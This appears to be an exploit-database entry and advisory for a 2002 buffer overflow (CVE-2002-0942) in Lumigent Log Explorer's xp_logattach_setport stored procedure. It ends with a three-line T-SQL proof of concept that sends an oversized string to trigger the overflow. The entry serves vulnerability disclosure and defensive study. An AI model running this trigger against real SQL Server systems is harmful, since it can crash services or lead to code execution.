Lumigent Log Explorer 3.0.1 - XP_LogAttach_SetPort Buffer Overflow

Author: Martin Rakhmanoff
type: local
platform: windows
port: 
date_added: 2002-06-14  
date_updated: 2012-09-27  
verified: 1  
codes: CVE-2002-0942;OSVDB-11913  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 21551.txt  
source: https://www.securityfocus.com/bid/5017/info

A buffer overflow vulnerability in xp_logattach.dll has been reported for Lumigent Log Explorer. Specifically, this affects the xp_logattach_setport stored procedure.

If this condition is successfully exploited, it is possible for locations in memory to be overwritten with attacker-supplied instructions, allowing for code execution as the SQL server process. By default, SQL Server runs as a non-privileged user.

It should be noted that extended stored procedures can be run only by the dbo user by default.

declare @bo varchar(8000)
set @bo = replicate('A', 800)
exec xp_logattach_setport @bo